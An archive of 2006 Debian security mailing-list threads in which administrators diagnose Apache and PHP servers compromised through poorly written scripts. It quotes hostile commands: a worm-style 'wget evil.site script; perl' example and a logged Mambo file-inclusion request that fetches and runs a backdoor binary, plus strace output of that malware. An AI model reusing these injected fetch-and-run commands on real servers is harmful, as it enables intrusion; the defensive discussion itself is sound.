On Mon, Mar 13, 2006 at 09:02:13AM +0200, Enver ALTIN wrote: > If you have to leave some writable folders for Apache user, say, /tmp, > moving /tmp to another partition/filesystem and mounting it with > "noexec" option would prevent most harm /any/ PHP script can cause. Not true. Several of the receent exploit worms do the equivilent of this: cd /tmp wget http://evil.site/perl/script.pl perl /tmp/script.pl & Even if the /tmp partition is mounted noexec this will still work. (Although '/tmp/script.pl &' would fail.) Noexec can help in some situations, but blocking 'wget', 'perl' etc in requests via mod_security is a much more useful thing to do. Steve -- Debian GNU/Linux System Administration http://www.debian-administration.org/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: security issues with apache!
Hi, Florian Reitmeir wrote: I had a similar encounter about 2 months ago. The intruder exploited a PHP script that was poorly written. If you check your http access logs, you will most likely find an entry about the PHP that is been exploited. Once you find the offending PHP script, you can either remove it or add an exit(0); on top of the script so that it does not accept any input. If you are a good PHP programmer, you could fix the script so that it validates whatever input its getting. if PHP is the entry point, then take a look at - libapache2-mod-suphp - PHP SAFE-Mode - PHP Basedir - set 'allow_url_fopen = Off' in your php.ini they help. Also make sure, that there is no writeable directory for the apache user. If you have to leave some writable folders for Apache user, say, /tmp, moving /tmp to another partition/filesystem and mounting it with "noexec" option would prevent most harm /any/ PHP script can cause. A PHP script alone can do little, but along with an HTTP-uploaded ELF binary that gets executed in the security context of Apache web server is a lot more scary. -HAND -- Enver -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: security issues with apache!
> I had a similar encounter about 2 months ago. The intruder exploited a > PHP script that was poorly written. If you check your http access logs, > you will most likely find an entry about the PHP that is been exploited. > Once you find the offending PHP script, you can either remove it or > add an exit(0); on top of the script so that it does not accept any > input. If you are a good PHP programmer, you could fix the script so > that it validates whatever input its getting. if PHP is the entry point, then take a look at - libapache2-mod-suphp - PHP SAFE-Mode - PHP Basedir - set 'allow_url_fopen = Off' in your php.ini they help. Also make sure, that there is no writeable directory for the apache user. -- Florian Reitmeir -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: security issues with apache!
At 1141730613, Petter Senften wrote: > Recently I've noticed that my Apache-installation gets > violated and that an intruder somehow manages to put stuff > in /tmp and /var/tmp. Then it makes Apache execute these. Do you have mod_cgi installed and activated? If you are not using it, disable it. If the trouble-maker is executing things via PHP scripts, you can stop them by disabling the exec and related functions in PHP. The following line in /etc/php.ini would do it for example: disable_functions = system, exec, shell_exec, passthru, popen, pcntl_exec, openlog Alternatively turning on "safe mode" does this, I believe. -- Jon Dowland http://alcopop.org/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: security issues with apache!
This one time, at band camp, Josep Serrano said: > Hello Petter > > We still don't know for what do you use your apache. Most of the problems > come from > poor PHP scripts. What scripts/services are you running in this server? I strongly suggest this as the source of your problems. In my experience, php apps do not take the care to sanitize input before executing it. Look in your access logs for exec commands or wget commands. Figure out which script was attacked, and fix or disable it. > > Hi > > > > I'm not completely new to Debian or Linux, but I wouldn't classify > > myself as a battlescarred sysadmin just yet :) > > > > Anyways. My problem is security-related, and I hope that I'm posting to > > the correct list as well as hoping that someone can help me out here. > > > > Recently I've noticed that my Apache-installation gets violated and that > > an intruder somehow manages to put stuff in /tmp and /var/tmp. Then it > > makes Apache execute these. Unfortunately these are some rather nasty > > things, mostly portscanners and bruteforce-attacks. They are all easily > > detected with netstat, and at least once a day I have to go in and kill > > the processes spawned by www-data (the user that runs Apache) as well as > > delete the offending files. > > > > Now, like I said - I'm not a pro, I'm trying to learn by doing. > > Unfortunately how this happens is way over my experience, and now I > > could really use some help in fixing this leak. I've narrowed it down to > > Apache only, but I have no clue as to how to seal the leak. I'm running > > a small server in my home using (mostly) Debian Sarge. This is a real > > Frankenstein-machine as it was originally a Woody-box, but it's been > > upgraded with bits from all over. It's been running pretty much > > constantly for three years. Of course I apply security fixes when they > > arrive, but I don't know if the source of these intrusions is Apache or > > just that I have managed to fubar some setting somewhere, allowing an > > attacker to make Apache execute code. > > > > Essentially the machine is Debian Sarge, with MySQL and PHP4. There are > > other services running on it, but I've noticed that the > > intrusions/code-executions only happen through Apache. MySQL only > > listens on localhost and accepts no connections from the outside. Hence, > > I hope that this is limited to Apache. Apache is 1.3.x, MySQL 4.0.24 and > > PHP 4.3 > > > > I deeply appreciate any help that can make me seal this leak! Thank you > > all in advance! > > > > /petter senften > > > > > -- > To UNSUBSCRIBE, email to [EMAIL PROTECTED] > with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED] > > -- - | ,''`.Stephen Gran | | : :' :[EMAIL PROTECTED] | | `. `'Debian user, admin, and developer | |`- http://www.debian.org | - signature.asc Description: Digital signature
Re: security issues with apache!
On Tue, Mar 07, 2006 at 12:37:42PM +0100, Ismail wrote: > >>Recently I've noticed that my Apache-installation gets violated and that > >>an intruder somehow manages to put stuff in /tmp and /var/tmp. Then it > >>makes Apache execute these. Unfortunately these are some rather nasty > >>things, mostly portscanners and bruteforce-attacks. They are all easily > >>detected with netstat, and at least once a day I have to go in and kill > >>the processes spawned by www-data (the user that runs Apache) as well as > >>delete the offending files. > > > I had a similar encounter about 2 months ago. The intruder exploited a > PHP script that was poorly written. If you check your http access logs, > you will most likely find an entry about the PHP that is been exploited. Sounds familiar, I'd be suspecting php scripts or similar. The first thing I can suggest is mod_security, this is essentially an application level firewall for apache, and lets you block things like 'wget', even if they're encoded as say wg%65t. It supports logging all requests for audit pruposes. As for figuring out what is at fault, one thing to look at is timestamps of the payload, in particular ctime. Then compare against your apache logs and you should be able to get a shortlist of 5-10 seconds worth of requests. POSTs are problematic as their data isn't in the apache logs, but in combination with mod_security you should be able to finger the exact request. Finally, a bit of a plug. I wrote a script to look for processes hanging off apache that have been there for too long e.g. a bot. Code at: http://www.netsoc.tcd.ie/~bbrazil/code/brmon/ (long_running_apache). Brian -- Website: http://www.netsoc.tcd.ie/~bbrazil signature.asc Description: Digital signature
Re: security issues with apache!
Please keep the posts in the debian-security list only! I apologize. It happens because I did cross post in both lists in the first place. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: security issues with apache!
Hi I'm not completely new to Debian or Linux, but I wouldn't classify myself as a battlescarred sysadmin just yet :) Anyways. My problem is security-related, and I hope that I'm posting to the correct list as well as hoping that someone can help me out here. Recently I've noticed that my Apache-installation gets violated and that an intruder somehow manages to put stuff in /tmp and /var/tmp. Then it makes Apache execute these. Unfortunately these are some rather nasty things, mostly portscanners and bruteforce-attacks. They are all easily detected with netstat, and at least once a day I have to go in and kill the processes spawned by www-data (the user that runs Apache) as well as delete the offending files. Now, like I said - I'm not a pro, I'm trying to learn by doing. Unfortunately how this happens is way over my experience, and now I could really use some help in fixing this leak. I've narrowed it down to Apache only, but I have no clue as to how to seal the leak. I'm running a small server in my home using (mostly) Debian Sarge. This is a real Frankenstein-machine as it was originally a Woody-box, but it's been upgraded with bits from all over. It's been running pretty much constantly for three years. Of course I apply security fixes when they arrive, but I don't know if the source of these intrusions is Apache or just that I have managed to fubar some setting somewhere, allowing an attacker to make Apache execute code. Essentially the machine is Debian Sarge, with MySQL and PHP4. There are other services running on it, but I've noticed that the intrusions/code-executions only happen through Apache. MySQL only listens on localhost and accepts no connections from the outside. Hence, I hope that this is limited to Apache. Apache is 1.3.x, MySQL 4.0.24 and PHP 4.3 I deeply appreciate any help that can make me seal this leak! Thank you all in advance! /petter senften I had a similar encounter about 2 months ago. The intruder exploited a PHP script that was poorly written. If you check your http access logs, you will most likely find an entry about the PHP that is been exploited. Once you find the offending PHP script, you can either remove it or add an exit(0); on top of the script so that it does not accept any input. If you are a good PHP programmer, you could fix the script so that it validates whatever input its getting. Ismail -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: security issues with apache!
Hello Petter The actual list for security issues is debian-security. The address of this list its on the CC. We can now leave debian-user and switch our discussion into debian-security. This is quite hole! Can't believe there's such a big spot in Apache / Sarge and we didn't heard of it. Can you please share more details with us? Give us your current package versions of apache (using dpkg -s for example). If you suspect the installation could be compromised run a test on the checksums. Your access logs could contain precious information. Have a look at them and post to the list any significant parts (removing any ip/host address you don't want to get published). We still don't know for what do you use your apache. Most of the problems come from poor PHP scripts. What scripts/services are you running in this server? Can you post a sample of your netstat, your list of process for user www-data, and a sample of the files you find in your /tmp ? Regards, Josep SERRANO > Hi > > I'm not completely new to Debian or Linux, but I wouldn't classify > myself as a battlescarred sysadmin just yet :) > > Anyways. My problem is security-related, and I hope that I'm posting to > the correct list as well as hoping that someone can help me out here. > > Recently I've noticed that my Apache-installation gets violated and that > an intruder somehow manages to put stuff in /tmp and /var/tmp. Then it > makes Apache execute these. Unfortunately these are some rather nasty > things, mostly portscanners and bruteforce-attacks. They are all easily > detected with netstat, and at least once a day I have to go in and kill > the processes spawned by www-data (the user that runs Apache) as well as > delete the offending files. > > Now, like I said - I'm not a pro, I'm trying to learn by doing. > Unfortunately how this happens is way over my experience, and now I > could really use some help in fixing this leak. I've narrowed it down to > Apache only, but I have no clue as to how to seal the leak. I'm running > a small server in my home using (mostly) Debian Sarge. This is a real > Frankenstein-machine as it was originally a Woody-box, but it's been > upgraded with bits from all over. It's been running pretty much > constantly for three years. Of course I apply security fixes when they > arrive, but I don't know if the source of these intrusions is Apache or > just that I have managed to fubar some setting somewhere, allowing an > attacker to make Apache execute code. > > Essentially the machine is Debian Sarge, with MySQL and PHP4. There are > other services running on it, but I've noticed that the > intrusions/code-executions only happen through Apache. MySQL only > listens on localhost and accepts no connections from the outside. Hence, > I hope that this is limited to Apache. Apache is 1.3.x, MySQL 4.0.24 and > PHP 4.3 > > I deeply appreciate any help that can make me seal this leak! Thank you > all in advance! > > /petter senften > -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
RE: Weird message in my apache error log
We have a match. See: 66.232.140.73 - - [31/Jan/2006:07:29:58 +0100] "GET http:///prxjdg.cgi?ja HTTP/1.0" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" Where the http address maps to an apparently compromised server where these people have installed some kind of proxy (proxy judge ?) > I've seen this type of thing with PHP; I was going to say something but I > figured I would wait since you didn't mention it. Can you correlate the > time/date/ip with the request from access.log? It might give you more > information. I can say, that we get attacked regularly on Sarge and we're a > relatively high volume site with the similar specs, and I've not seen > anything like this as a standard hack - my experience is that this is most > often caused by not filtering/validating forms, global PHP variables, or PHP > scripting errors. I am very curious to know what's going on. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
RE: Weird message in my apache error log
I've seen this type of thing with PHP; I was going to say something but I
figured I would wait since you didn't mention it. Can you correlate the
time/date/ip with the request from access.log? It might give you more
information. I can say, that we get attacked regularly on Sarge and we're a
relatively high volume site with the similar specs, and I've not seen
anything like this as a standard hack - my experience is that this is most
often caused by not filtering/validating forms, global PHP variables, or PHP
scripting errors. I am very curious to know what's going on.
> -Original Message-
> From: Josep Serrano [mailto:[EMAIL PROTECTED]
> Sent: Wednesday, February 01, 2006 4:53 AM
> To: debian-security@lists.debian.org
> Subject: RE: Weird message in my apache error log
>
> Hello guys,
>
> No, I can't think of any specific application. Yes this web server is
> running a
> couple of php scripts but that's it.
>
> Following your recommendations I have installed mod_security with the set
> of
> standard rules provided in www.modsecurity.org. I will be following up the
> audit log
> for any clues.
>
> Be sure that I have strange files, permissions, or open ports in this box.
> I run
> daily checks and I got the vaccines :-)
>
> Thanks,
> Josep SERRANO.
>
> > What does your application do? It looks like it is finding a shell
> script
> > somewhere? We've seen similar things when executing CGI's and not
> filtering
> > the input data so well. The line 22, 24 make me think there is a script
> > somewhere rather than arbitrary GET data.
> >
> >> -Original Message-
> >> Looks like someone is trying to do arbritary commmand execution. You
> >> probably have a script somewhere that says `command $_GET['var']`, and
> >> someone is passing ';attack' as var, but it isn't quite working.
> >>
> >> I suggest using the audit log feature of mod_security, or just grepping
> >> through your access logs for anything odd ('wget' is a good search
> >> term).
> >>
> >> You might have a bot on the system, check for any odd network
> >> connections, especially to port 6667 (IRC). Also look for www-data
> owned
> >> files in /tmp.
>
>
>
> --
> To UNSUBSCRIBE, email to [EMAIL PROTECTED]
> with a subject of "unsubscribe". Trouble? Contact
> [EMAIL PROTECTED]
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
RE: Weird message in my apache error log
Hello guys,
No, I can't think of any specific application. Yes this web server is running a
couple of php scripts but that's it.
Following your recommendations I have installed mod_security with the set of
standard rules provided in www.modsecurity.org. I will be following up the
audit log
for any clues.
Be sure that I have strange files, permissions, or open ports in this box. I run
daily checks and I got the vaccines :-)
Thanks,
Josep SERRANO.
> What does your application do? It looks like it is finding a shell script
> somewhere? We've seen similar things when executing CGI's and not filtering
> the input data so well. The line 22, 24 make me think there is a script
> somewhere rather than arbitrary GET data.
>
>> -Original Message-
>> Looks like someone is trying to do arbritary commmand execution. You
>> probably have a script somewhere that says `command $_GET['var']`, and
>> someone is passing ';attack' as var, but it isn't quite working.
>>
>> I suggest using the audit log feature of mod_security, or just grepping
>> through your access logs for anything odd ('wget' is a good search
>> term).
>>
>> You might have a bot on the system, check for any odd network
>> connections, especially to port 6667 (IRC). Also look for www-data owned
>> files in /tmp.
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
RE: Weird message in my apache error log
What does your application do? It looks like it is finding a shell script
somewhere? We've seen similar things when executing CGI's and not filtering
the input data so well. The line 22, 24 make me think there is a script
somewhere rather than arbitrary GET data.
> -Original Message-
> From: Brian Brazil [mailto:[EMAIL PROTECTED]
> Sent: Tuesday, January 31, 2006 4:53 PM
> To: debian-security@lists.debian.org
> Subject: Re: Weird message in my apache error log
>
> On Tue, Jan 31, 2006 at 11:19:45PM +0100, Josep Serrano wrote:
> > Hello all. I got some weird entries in my apache error log.
> > Any clues about what/where/how ?
> >
> > sh: -c: line 22: unexpected EOF while looking for matching ``'
> > sh: -c: line 24: syntax error: unexpected end of file
> >
> > sh: -c: line 0: unexpected EOF while looking for matching `"'
> > sh: -c: line 1: syntax error: unexpected end of file
>
> Looks like someone is trying to do arbritary commmand execution. You
> probably have a script somewhere that says `command $_GET['var']`, and
> someone is passing ';attack' as var, but it isn't quite working.
>
> I suggest using the audit log feature of mod_security, or just grepping
> through your access logs for anything odd ('wget' is a good search
> term).
>
> You might have a bot on the system, check for any odd network
> connections, especially to port 6667 (IRC). Also look for www-data owned
> files in /tmp.
>
> Brian
>
> --
> Website: http://www.netsoc.tcd.ie/~bbrazil
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: Weird message in my apache error log
On Tue, Jan 31, 2006 at 11:19:45PM +0100, Josep Serrano wrote:
> Hello all. I got some weird entries in my apache error log.
> Any clues about what/where/how ?
>
> sh: -c: line 22: unexpected EOF while looking for matching ``'
> sh: -c: line 24: syntax error: unexpected end of file
>
> sh: -c: line 0: unexpected EOF while looking for matching `"'
> sh: -c: line 1: syntax error: unexpected end of file
Looks like someone is trying to do arbritary commmand execution. You
probably have a script somewhere that says `command $_GET['var']`, and
someone is passing ';attack' as var, but it isn't quite working.
I suggest using the audit log feature of mod_security, or just grepping
through your access logs for anything odd ('wget' is a good search
term).
You might have a bot on the system, check for any odd network
connections, especially to port 6667 (IRC). Also look for www-data owned
files in /tmp.
Brian
--
Website: http://www.netsoc.tcd.ie/~bbrazil
signature.asc
Description: Digital signature
Weird message in my apache error log
Hello all. I got some weird entries in my apache error log. Any clues about what/where/how ? sh: -c: line 22: unexpected EOF while looking for matching ``' sh: -c: line 24: syntax error: unexpected end of file sh: -c: line 0: unexpected EOF while looking for matching `"' sh: -c: line 1: syntax error: unexpected end of file Thanks, Josep SERRANO. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: Strange Apache log and mambo security - sexy executable
Life is only probabilities...isn't it? A quick link for an overview: http://en.wikipedia.org/wiki/Referer_spam There are blacklists elsewhere, some updated every 15 minutes. On Mon, January 23, 2006 8:58 am, Christoph Ulrich Scholler said: > Hi, > > On 23.01. 07:46, Jose Marrero wrote: >> Apache configured with mod_rewrite to deny blank or fake referers is a >> good idea. > > How can you tell that a referrer is fake? > > Regards, > > uLI > > > -- > To UNSUBSCRIBE, email to [EMAIL PROTECTED] > with a subject of "unsubscribe". Trouble? Contact > [EMAIL PROTECTED] > -- -JM. Estos días azules y este sol de la infancia (Antonio Machado-1939) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: Strange Apache log and mambo security - sexy executable
Hi, On 23.01. 07:46, Jose Marrero wrote: > Apache configured with mod_rewrite to deny blank or fake referers is a > good idea. How can you tell that a referrer is fake? Regards, uLI -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: Strange Apache log and mambo security - sexy executable
Just a couple of things: Apache configured with mod_rewrite to deny blank or fake referers is a good idea. Do you have apache configured with mod_security? I highly recommend this last one since you run an php based CMS and can protect from exploits not yet discovered. On Mon, January 23, 2006 2:32 am, Maik Holtkamp said: > -BEGIN PGP SIGNED MESSAGE- > Hash: SHA1 > > Edward Shornock schrieb: >> > On Mon, Jan 23, 2006 at 08:31:40AM +0100, Maik Holtkamp wrote: >> > Hi, >> > >> > yesterday morning I found a strange entry in my apache log files >> (debian >> > sarge, apache 1.3, mambo 4.5.3, kernel 2.4.31). It's a dyndns homelan >> > Server, just serving my Family and some good friends (normally). >> > >> > ---cut--- >> > 132.248.204.65 - - [19/Jan/2006:07:08:32 +0100] "GET >> > /cvs/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://200.72.130.29/cmd.gif?&cmd=cd%20/tmp;wget%20212.20 >> > 3.97.120/sexy;chmod%20744%20sexy;./sexy%2071.137.131.26%208080;00;echo%20YYY;echo| >> > HTTP/1.1" 200 28 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT >> 5.1;)" >> > ---cut--- >> > >> > As I patched mambo against recent "register global" attack and my /tmp >> > is mount noexec, the attack doesn't exploit anything. >> > >> > However, I curiously downloaded this sexy executable to have a closer >> look. >> > >> > ---cut--- >> > backup:/home/qmb# ./sexy -h >> > ./sexy >> > ---cut--- >> > >> Never run apps like this as root. Bad bad idea. > > There is an old saying in Germany: > > "Only damage will make you wise" Funny, Don Quixote (when in a good mood) used to say, "Sancho, why experience always comes when is not needed?"* *I am just paraphrasing... -- -JM. Estos días azules y este sol de la infancia (Antonio Machado-1939) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: Strange Apache log and mambo security - sexy executable
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Edward Shornock schrieb: > > On Mon, Jan 23, 2006 at 08:31:40AM +0100, Maik Holtkamp wrote: > > Hi, > > > > yesterday morning I found a strange entry in my apache log files (debian > > sarge, apache 1.3, mambo 4.5.3, kernel 2.4.31). It's a dyndns homelan > > Server, just serving my Family and some good friends (normally). > > > > ---cut--- > > 132.248.204.65 - - [19/Jan/2006:07:08:32 +0100] "GET > > /cvs/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://200.72.130.29/cmd.gif?&cmd=cd%20/tmp;wget%20212.20 > > 3.97.120/sexy;chmod%20744%20sexy;./sexy%2071.137.131.26%208080;00;echo%20YYY;echo| > > HTTP/1.1" 200 28 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" > > ---cut--- > > > > As I patched mambo against recent "register global" attack and my /tmp > > is mount noexec, the attack doesn't exploit anything. > > > > However, I curiously downloaded this sexy executable to have a closer look. > > > > ---cut--- > > backup:/home/qmb# ./sexy -h > > ./sexy > > ---cut--- > > > Never run apps like this as root. Bad bad idea. There is an old saying in Germany: "Only damage will make you wise" In spite the box where I tried was on the second line and I did not pass any arguments (IP/port) to the tool, I see the chance that it would have polluted the whole LAN and probably even find a way to the outside, now. Thanks god it wasn't that evil, so the knoppix restore could fix the situation. > If you want more information about this tool, google for "Linux.RST.B" > or "Unix/RST.B". Thank you very much. - -- - - maik -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.4 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFD1LDZz3bq6aadmI8RAj/fAJ93fsZEUSRiPNRGUqs7Q7t6pDOF8wCeK1Tn LzAJkhxI+Kfs5njhvwZ/Xio= =3tRt -END PGP SIGNATURE- -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: Strange Apache log and mambo security - sexy executable
Oops...didn't trim enough of the response and curiosity made me research this. According to the sophos site: --cut-- Linux/Rst-B will attempt to infect all ELF executables in the current working directory and the directory /bin If Linux/Rst-B is executed by a privileged user then it may attempt to create a backdoor on the system. This is achieved by opening a socket and listening for a particular packet containing details about the origin of the attacker and the command the attacker would like to execute on the system. --end-- I'd reinstall since you ran this executable on your system as root. Who knows what the full extent of the damaged caused is... signature.asc Description: Digital signature
Re: Strange Apache log and mambo security - sexy executable
On Mon, Jan 23, 2006 at 08:31:40AM +0100, Maik Holtkamp wrote:
> -BEGIN PGP SIGNED MESSAGE-
> Hash: SHA1
>
> Hi,
>
> yesterday morning I found a strange entry in my apache log files (debian
> sarge, apache 1.3, mambo 4.5.3, kernel 2.4.31). It's a dyndns homelan
> Server, just serving my Family and some good friends (normally).
>
> - ---cut---
> 132.248.204.65 - - [19/Jan/2006:07:08:32 +0100] "GET
> /cvs/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://200.72.130.29/cmd.gif?&cmd=cd%20/tmp;wget%20212.20
> 3.97.120/sexy;chmod%20744%20sexy;./sexy%2071.137.131.26%208080;00;echo%20YYY;echo|
> HTTP/1.1" 200 28 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
> - ---cut---
>
> As I patched mambo against recent "register global" attack and my /tmp
> is mount noexec, the attack doesn't exploit anything.
>
> However, I curiously downloaded this sexy executable to have a closer look.
>
> - ---cut---
> backup:/home/qmb# ./sexy -h
> ./sexy
> - ---cut---
Never run apps like this as root. Bad bad idea.
If you want more information about this tool, google for "Linux.RST.B"
or "Unix/RST.B".
cut---
$ f-prot sexy
Virus scanning report - 23 January 2006 @ 4:21
F-PROT ANTIVIRUS
Program version: 4.6.5
Engine version: 3.16.13
VIRUS SIGNATURE FILES
SIGN.DEF created 13 January 2006
SIGN2.DEF created 13 January 2006
MACRO.DEF created 13 January 2006
Search: sexy
Action: Report only
Files: "Dumb" scan of all files
Switches: -ARCHIVE -PACKED -SERVER
/tmp/sexy Infection: Unix/RST.B
Results of virus scanning:
Files: 1
MBRs: 0
Boot sectors: 0
Objects scanned: 1
Infected: 1
Suspicious: 0
Disinfected: 0
Deleted: 0
Renamed: 0
Time: 0:00
--end--
--cut--
$ clamscan sexy
sexy: Linux.RST.B FOUND
--- SCAN SUMMARY ---
Known viruses: 35671
Engine version: 0.88
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.01 MB
Time: 0.903 sec (0 m 0 s)
--end--
>
> This host backup (sarge, 2.6.12) is in the second raw of my LAN and just
> used to make rsync backups of LAN hosts to usb hds.
>
> Unfortunately, I was that curious, that I decided to strace it (in spite
> I hardly understand strace):
>
> - ---cut---
> backup:/home/qmb# strace ./sexy
> execve("./sexy", ["./sexy"], [/* 20 vars */]) = 0
> uname({sys="Linux", node="backup", ...}) = 0
> brk(0) = 0x804a000
> old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,
> - -1, 0) = 0xb7f13000
> access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or
> directory)
> open("/etc/ld.so.preload", O_RDONLY)= -1 ENOENT (No such file or
> directory)
> open("/etc/ld.so.cache", O_RDONLY) = 3
> fstat64(3, {st_mode=S_IFREG|0644, st_size=30780, ...}) = 0
> old_mmap(NULL, 30780, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7f0b000
> close(3)= 0
> access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or
> directory)
> open("/lib/tls/libc.so.6", O_RDONLY)= 3
> read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0`Z\1\000"...,
> 512) = 512
> fstat64(3, {st_mode=S_IFREG|0755, st_size=1254468, ...}) = 0
> old_mmap(NULL, 1264780, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0xb7dd6000
> old_mmap(0xb7f0, 36864, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED,
> 3, 0x129000) = 0xb7f0
> old_mmap(0xb7f09000, 7308, PROT_READ|PROT_WRITE,
> MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7f09000
> close(3)= 0
> old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,
> - -1, 0) = 0xb7dd5000
> set_thread_area({entry_number:-1 -> 6, base_addr:0xb7dd5460,
> limit:1048575, seg_32bit:1, contents:0, read_exec_only:0,
> limit_in_pages:1, seg_not_present:0, useable:1}) = 0
> munmap(0xb7f0b000, 30780) = 0
> fork() = 11935
> fstat64(1, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 0), ...}) = 0
> mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
> 0) = 0xb7f12000
> write(1, "./sexy \n", 21./sexy
> ) = 21
> munmap(0xb7f12000, 4096)= 0
> exit_group(2) = ?
> - ---cut---
>
> After this run the box was hardly damaged:
>
> - - It insists on bringing its NIC to promiscuous mode
> - - ls, grep, gunzip (probably others, too) just give a segmentation
> fault
>
> I tried to investigate further:
>
> - - tcpdump doesn't show any traffic in the net that shouldn't be there
> - - ps a
Re: Strange Apache log and mambo security - sexy executable
--On January 23, 2006 8:31:40 AM +0100 Maik Holtkamp
<[EMAIL PROTECTED]> wrote:
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
Hi,
yesterday morning I found a strange entry in my apache log files (debian
sarge, apache 1.3, mambo 4.5.3, kernel 2.4.31). It's a dyndns homelan
Server, just serving my Family and some good friends (normally).
- ---cut---
132.248.204.65 - - [19/Jan/2006:07:08:32 +0100] "GET
/cvs/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&
mosConfig_absolute_path=http://200.72.130.29/cmd.gif?&cmd=cd%20/tmp;wget%
20212.20
3.97.120/sexy;chmod%20744%20sexy;./sexy%2071.137.131.26%208080;00;echo%20
YYY;echo| HTTP/1.1" 200 28 "-" "Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1;)" - ---cut---
As I patched mambo against recent "register global" attack and my /tmp
is mount noexec, the attack doesn't exploit anything.
However, I curiously downloaded this sexy executable to have a closer
look.
- ---cut---
backup:/home/qmb# ./sexy -h
./sexy
- ---cut---
Firstly, don't ever download and run untrusted code as root, especially
when it's obviously an exploit attempt, unless you run it on an unconnected
box you're prepared to scrap afterwards. God knows what the code will do
to your system.
This host backup (sarge, 2.6.12) is in the second raw of my LAN and just
used to make rsync backups of LAN hosts to usb hds.
Unfortunately, I was that curious, that I decided to strace it (in spite
I hardly understand strace):
- ---cut---
backup:/home/qmb# strace ./sexy
execve("./sexy", ["./sexy"], [/* 20 vars */]) = 0
uname({sys="Linux", node="backup", ...}) = 0
brk(0) = 0x804a000
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,
- -1, 0) = 0xb7f13000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or
directory)
open("/etc/ld.so.preload", O_RDONLY)= -1 ENOENT (No such file or
directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=30780, ...}) = 0
old_mmap(NULL, 30780, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7f0b000
close(3)= 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or
directory)
open("/lib/tls/libc.so.6", O_RDONLY)= 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0`Z\1\000"...,
512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1254468, ...}) = 0
old_mmap(NULL, 1264780, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) =
0xb7dd6000 old_mmap(0xb7f0, 36864, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED, 3, 0x129000) = 0xb7f0
old_mmap(0xb7f09000, 7308, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7f09000
close(3)= 0
